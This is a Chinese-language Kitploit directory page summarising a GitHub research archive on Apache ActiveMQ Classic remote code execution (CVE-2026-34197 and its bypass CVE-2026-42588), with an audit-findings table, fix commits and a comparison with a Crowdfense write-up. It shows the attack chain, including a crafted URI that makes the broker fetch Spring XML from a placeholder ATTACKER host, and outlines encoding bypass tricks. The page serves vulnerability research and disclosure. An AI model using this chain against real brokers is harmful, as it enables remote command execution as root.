Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
apache-activemq-rce-research — Apache ActiveMQ Classic RCE研究:CVE-2026-34197 / CVE-2026-42588 绕过链 + hardened-6.2.6 审计发现 + Crowdfense 比较 | Kitploit
工具/GitHubGitHub/dinosn/apache-activemq-rce-research
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育Payload 开发
GitHubdinosn/apache-activemq-rce-research

apache-activemq-rce-research

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache ActiveMQ Classic RCE研究:CVE-2026-34197 / CVE-2026-42588 绕过链 + hardened-6.2.6 审计发现 + Crowdfense 比较

查看仓库
841个月前尚未审核

Apache ActiveMQ Classic — RCE 研究

针对 Apache ActiveMQ Classic 中 Jolokia → addNetworkConnector → xbean/Spring-XML 远程代码执行链(CVE-2026-34197 及其补丁绕过 CVE-2026-42588)的私有研究存档,外加对已修复的 6.2.6 版本的全自动重审计,以及与 Crowdfense 公开的绕过文章进行的并列对比。

所有利用均在 本地实验室 Broker(Docker / 自托管)上执行。Payload 使用占位符攻击者主机。


目录

目录阶段内容
00-comparison-vs-crowdfense.md对比我们的工作 vs. Crowdfense 的 "ActiveMQ RCE Bypass" 文章,以 file:line 源码验证
01-original-cve-2026-34197/原始复现分析 + PoC 脚本 + Spring-XML payload(实验室:activemq-classic:5.18.6)
02-reaudit-apr30/版本矩阵uid=0 在 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7;评估 + PoC + version-matrix.sh
03-reaudit-42588-42253/实时绕过无括号组合绕过(42588)+ MessageServlet XSS(42253),实时复现
04-audit-6.2.6/完整审计对加固后的 6.2.6 进行自动研究审计:最终报告 + 发现清单

实验室中使用的供应商源码树和二进制发行版有意 排除在外(它们是上游代码,非我们所有)。


一句话漏洞

一个经过身份验证的 Jolokia 调用者(在 6.0.0–6.1.1 中通过 CVE-2024-32114 可未经身份验证)调用 BrokerView.addNetworkConnector(uri),使用一个精心构造的 discovery URI,其内部的 vm://…?brokerConfig=xbean:<url> 强制 Broker 加载攻击者控制的 Spring XML,该 XML 在 Broker 验证之前立即实例化一个 ProcessBuilder bean,导致操作系统命令执行。

root@kitploit:~
POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory 动态创建 Broker  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext 加载 Spring XML  →  ProcessBuilder bean  →  RCE

发现

重点: 三个发现已被 实时证明 可达到 root/XSS;6.2.6 审计增加了一组更广泛的发现,这些发现 通过源码验证并经过对抗性评判,但尚未实时引爆。6.2.6 中没有任何额外的发现是新的 无需认证的 RCE —— 供应商已关闭了这些通道;剩余风险转移到了授权和输出编码。

已验证的利用链

6.2.6 审计中的新增发现(源码验证)

范围外 — DoS(已编目,非重点)

MQTT QoS 序数数组越界(QoS.values()[ordinal],跨协议,无配置)· OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire 解组中的有符号 short NegativeArraySizeException · 负数 AMQ_SCHEDULED_REPEAT 永不终止的任务。


与 Crowdfense 文章对比

Crowdfense 的 Apache ActiveMQ RCE Bypass 涵盖了 相同的链(他们将其归入 CVE-2026-34197;我们将绕过跟踪为其自己的 CVE-2026-42588)。两篇报告都聚焦于三层防御;唯一的差异在于 第 2 层。

一个缺口: 他们的第 2 层百分比编码 + UNC/WebDAV 技巧实现了 完全远程 投递,无需本地写入原语。它所滥用的分类器缺陷(activemq-spring/Utils.java:123-129,在未解码字符串上执行原始 startsWith("file://"))出现在我们的确切源码中 — 但远程部分 仅限 Windows(Linux 将 //host/share 视为本地路径),而我们的实验室是 Linux,因此在那里无法利用。无论如何,它在 6.2.6 上 已失效(VMTransportFactory 方案门控在 Utils 运行之前就拒绝了 xbean)。

后续工作: 在 Windows 托管 的 5.19.6(或任何早于 5.19.7/6.2.6 的构建)上设置 SMB/WebDAV 监听器,将使我们能够演示完全远程的白名单绕过 —— 这是文章中具有而我们的参与尚未展示的唯一能力。


修复(ActiveMQ 6.2.6)

三个提交关闭了该链:c1b44af11(验证不带括号的组合 URI — 无条件 parseComposite + 递归),c2fc7a1d6(通过 VMTransportFactory 方案白名单默认阻止 XBeanBrokerFactory),以及 be8415f24(示例配置加固:Jolokia 限制到回环地址,操作拒绝列表包含 addNetworkConnector)。

下载工具
ID发现类别严重程度认证证明
CVE-2026-34197Jolokia addNetworkConnector → xbean Spring-XML RCERCE严重需要认证(6.0.0–6.1.1 无需认证)实时 — uid=0 在 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 上
CVE-2026-42588无括号组合 URI 绕过 34197 黑名单RCE(补丁绕过)严重需要认证实时 — uid=0 在打了 34197 补丁的 5.19.6 + 6.2.0 上
CVE-2026-42253MessageServlet 头部注入 → 存储型 XSS注入 / XSS中需要认证实时 在 6.2.0 上
ID发现类别严重程度认证备注
C1static: 黑名单缺口 → SSRF — static 未出现在 DENIED_TRANSPORT_SCHEMES 中;addNetworkConnector("static:(tcp://…)") → 出站 Broker TCPSSRF中管理员 / JMX与文章中涵盖的 相同 34197/42588 黑名单 经过的接收变体
B1持久订阅 跨 clientId 删除 IDOR — removeSubscription 键基于客户端提供的 clientId,且在 AuthorizationBroker 中未设防护损坏的授权 / IDOR中需要认证(若 Broker 认证关闭则为无需认证)最干净的新发现
B3LDAP 空密码 → 匿名绑定(LDAPLoginModule,无空值检查)认证绕过中(有条件)无需认证条件:目录接受匿名绑定
A1–A7控制台 输出编码注入家族 — 攻击者控制的 MessageId.textView(OpenWire v10+ 和 AMQP)在约 7 个 JSP/REST 接收点 + FileSystemBlobStrategy 路径遍历中未转义注入低–中生产者 → 管理员默认受 CSP 限制为 HTML/内容注入
B2Shiro WildcardPermission 冒号注入权限提升权限提升低–中需要认证Shiro 非默认
B4临时目标授权 失败开放 与非临时目标失败关闭的不对称性损坏的授权低需要认证设计如此(AMQ-4721);加固说明
B5StatisticsBroker replyTo 在插件排序于授权之前时跳过写 ACL损坏的授权低需要认证依赖配置顺序
B6证书登录 非规范 DN(getSubjectDN().getName())→ 同一 CA 证书间的身份冲突认证低无需认证(TLS 验证)"任意自签名证书" 不 起作用
B7JMSXUserID 伪造 当 populateJMSXUserID=false(默认值)时伪造低需要认证—
F5STOMP 出站头部 名称 从未转义 → 帧注入给同租户订阅者注入低跨协议STOMP 已启用
层防御Crowdfense 的突破方式我们的突破方式
1方案 黑名单(34197 修复)无括号组合 static:vm://…相同 — 独立发现 ✅
2xbean {file,classpath} 白名单(#1910)百分比编码 file:%2f%2f… → Windows UNC → WebDAV → 远程 HTTP 获取本地文件 xbean:/tmp/evil.xml(需要本地写入权限)
3VMTransportFactory 方案门控(broker,properties,即 42588 / 6.2.6 修复)承认其为终结手段相同结论 ✅